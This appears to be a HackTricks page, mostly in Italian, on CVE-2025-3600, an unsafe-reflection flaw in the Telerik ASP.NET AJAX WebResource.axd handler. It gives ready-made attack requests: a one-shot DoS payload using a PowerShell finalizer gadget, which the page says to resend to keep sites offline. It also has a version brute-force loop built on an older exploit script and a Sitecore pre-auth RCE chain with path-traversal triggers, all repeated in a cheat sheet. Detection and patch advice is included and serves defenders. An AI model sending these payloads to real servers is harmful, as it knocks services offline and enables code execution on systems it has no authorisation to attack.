Telerik UI for ASP.NET AJAX – Unsafe Reflection via WebResource.axd (type=iec)
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
Pre‑auth constructor execution in Telerik UI for ASP.NET AJAX Image Editor cache handler consente DoS universale e, in molte app, pre‑auth RCE tramite gadget specifici per il target (CVE-2025-3600).
TL;DR
- Componente/route interessata: Telerik.Web.UI.WebResource.axd con query type=iec (Image Editor cache handler). Esposto pre‑auth in molti prodotti.
- Primitiva: L’attaccante controlla un nome di tipo (prtype). Il handler lo risolve con Type.GetType() e invoca Activator.CreateInstance() prima di verificare la sicurezza del tipo tramite interfaccia. Qualsiasi costruttore pubblico .NET senza parametri verrà eseguito.
- Impatto:
- DoS pre‑auth universale con un gadget del framework .NET (PowerShell WSMan finalizer).
- Spesso si eleva a RCE pre‑auth in deployment reali abusando di gadget specifici dell’app, specialmente handler insicuri di AppDomain.AssemblyResolve.
- Fix: Aggiornare a Telerik UI for ASP.NET AJAX 2025.1.416+ o rimuovere/bloccare il handler.
Versioni interessate
- Telerik UI for ASP.NET AJAX versions 2011.2.712 through 2025.1.218 (inclusive) sono vulnerabili.
- Corretto in 2025.1.416 (rilasciato 2025-04-29). Applicare la patch immediatamente o rimuovere/bloccare il handler.
Superficie interessata e scoperta rapida
- Verifica esposizione:
- GET /Telerik.Web.UI.WebResource.axd dovrebbe restituire qualcosa di diverso da 404/403 se il handler è configurato.
- Ispezionare web.config per mapping dei handler verso Telerik.Web.UI.WebResource.axd.
- Non fare affidamento sul trovare stringhe Telerik nella pagina
/o nelle pagine di login. Prodotti reali come Sitecore spesso espongono il handler senza riferirlo nell’HTML di default. - Il percorso che attiva il codice vulnerabile richiede: type=iec, dkey=1, e prtype=
.
Example probe and generic trigger:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly
Note
- Alcuni PoC usano dtype; l’implementazione verifica dkey==“1” per il flusso di download.
- prtype deve essere assembly-qualified o risolvibile nel current AppDomain.
Controlli utili per codice/ops
<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />
<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'
Triage rapido della versione su installazioni legacy
Se la stessa applicazione espone anche il legacy handler type=rau, gli strumenti Telerik più vecchi possono ancora aiutarti a fingerprintare la versione condivisa di Telerik.Web.UI.dll prima di tentare le ricerche su type=iec. Questo non sfrutta direttamente CVE-2025-3600; riusa solo il fatto che rau e iec risiedono nella stessa assembly.
Uso pratico:
- Se
type=rauè raggiungibile, usa il classic major-version brute force del vecchio RAU tooling per recuperare la versione esatta dell’assemblyTelerik.Web.UI. - Confronta la versione recuperata con l’intervallo vulnerabile (
2011.2.712a2025.1.218) e la build correttiva (2025.1.416+). - Considera l’assenza di
type=rauinconcludente.iecpotrebbe comunque essere esposto anche serauè disabilitato o filtrato.
Esempio con l’helper legacy CVE-2019-18935.py:
for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done
Perché questo aiuta:
- Le applicazioni enterprise spesso includono build Telerik obsolete per anni.
- Red teams possono rapidamente distinguere “handler exposed” da “likely still on a vulnerable DLL”.
- Durante incident response, lo stesso trucco aiuta a circoscrivere grandi flotte IIS quando l’accesso al filesystem non è immediatamente disponibile.
Causa principale – unsafe reflection in ImageEditorCacheHandler
Il flusso di download della cache di Image Editor costruisce un’istanza di un tipo fornito in prtype e solo in seguito la converte in ICacheImageProvider e valida il download key. Il costruttore è già stato eseguito quando la validazione fallisce.
Relevant decompiled flow
```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }
public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }
protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }
</details>
Primitive di exploit: Controlled type string → Type.GetType resolves it → Activator.CreateInstance runs its public parameterless constructor. Anche se la richiesta viene rifiutata successivamente, gli effetti collaterali del gadget si sono già verificati.
## DoS gadget universale (non sono necessari gadget specifici dell'applicazione)
Classe: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper in System.Management.Automation (PowerShell) ha un finalizer che esegue Dispose su un handle non inizializzato, causando un'eccezione non gestita quando il GC lo finalizza. Questo fa crashare in modo affidabile il processo worker di IIS poco dopo l'instanziazione.
Richiesta DoS monouso:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
Note
- Inviare periodicamente per mantenere il sito offline. Potresti osservare il constructor essere invocato in un debugger; il crash avviene durante la finalizzazione.
Da DoS a RCE – modelli di escalation
Unsafe constructor execution sblocca molti gadget e catene specifiche del target. Cerca:
- Costruttori senza parametri che elaborano input dell’attaccante
- Alcuni ctors (o static initializers) leggono immediatamente Request query/body/cookies/headers e (de)serialize them.
- Esempio (Sitecore): una catena di ctor raggiunge GetLayoutDefinition() che legge l’HTTP body “layout” e deserializes JSON via JSON.NET.
- Costruttori che toccano file
- Ctros that load or deserialize config/blobs from disk possono essere coerced se puoi scrivere in quei percorsi (uploads/temp/data folders).
- Costruttori che eseguono operazioni specifiche dell’app
- Reimpostare lo stato, attivare/disattivare moduli o terminare processi.
- Costruttori/static ctors che registrano AppDomain event handlers
- Molte app aggiungono AppDomain.CurrentDomain.AssemblyResolve handlers che costruiscono percorsi DLL da args.Name senza sanitizzazione. Se puoi influenzare la risoluzione dei tipi puoi forzare il caricamento arbitrario di DLL da percorsi controllati dall’attaccante.
- Forzare AssemblyResolve tramite Type.GetType
- Richiedi un tipo non esistente per forzare la risoluzione CLR e invocare i resolvers registrati (potenzialmente insicuri). Esempio di assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
- Finalizers con effetti collaterali distruttivi
- Alcuni tipi eliminano file a percorso fisso nei finalizer. Combinato con link-following o percorsi prevedibili questo può abilitare local privilege escalation in certi ambienti.
Esempio pre‑auth RCE chain (Sitecore XP)
- Step 1 – Pre‑auth: Innescare un tipo il cui static/instance ctor registra un AssemblyResolve handler non sicuro (e.g., Sitecore’s FolderControlSource in ControlFactory).
- Step 2 – Post‑auth: Ottenere scrittura in una resolver-probed directory (e.g., tramite un auth bypass o upload debole) e piantare una DLL malevola.
- Step 3 – Pre‑auth: Use CVE‑2025‑3600 with a non-existent type and a traversal‑laden assembly name to force the resolver to load your planted DLL → code execution as the IIS worker.
Trigger examples
# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl
# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr
Validazione, hunting e DFIR note
- Safe lab validation: Fire the DoS payload and watch for app pool recycle/unhandled exception tied to the WSMan finalizer.
- Hunt in telemetry:
- Requests to /Telerik.Web.UI.WebResource.axd with type=iec and odd prtype values.
- Failed type loads and AppDomain.AssemblyResolve events.
- Sudden w3wp.exe crashes/recycles following such requests.
Mitigazione
- Aggiornare Telerik UI for ASP.NET AJAX alla versione 2025.1.416 o successiva.
- Rimuovere o limitare l’esposizione di Telerik.Web.UI.WebResource.axd ove possibile (WAF/rewrites).
- Ignorare o rafforzare la gestione di prtype lato server (l’upgrade applica controlli appropriati prima dell’instanziazione).
- Auditare e rinforzare i custom handler di AppDomain.AssemblyResolve. Evitare di costruire percorsi da args.Name senza sanitizzazione; preferire strong-named loads o whitelists.
- Limitare le posizioni di upload/scrittura e prevenire il drop di DLL nelle directory probeate.
- Monitorare i tentativi di caricamento di type non esistenti per catturare abusi del resolver.
Cheat‑sheet
- Presence check:
- GET /Telerik.Web.UI.WebResource.axd
- Look for handler mapping in web.config
- Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
- DoS universale:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
- Risolutore di trigger:
This.Class.Does.Not.Exist, watchTowr
Tecniche correlate
- IIS post-exploitation, .NET key extraction, and in‑memory loaders:
IIS - Internet Information Services
- ASP.NET ViewState deserialization and machineKey abuses:
Exploiting __VIEWSTATE without knowing the secrets
Riferimenti
- Progress Telerik – Unsafe Reflection Vulnerability (3600)
- watchTowr labs – More than DoS: Progress Telerik UI for ASP.NET AJAX Unsafe Reflection (CVE-2025-3600)
- Black Hat USA 2019 – SSO Wars: The Token Menace (Mirosh & Muñoz) – DoS gadget background
- ZDI – Abusing arbitrary file deletes to escalate privilege
- watchTowr – Is “B” for Backdoor? (Sitecore chain CVE-2025-34509)
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


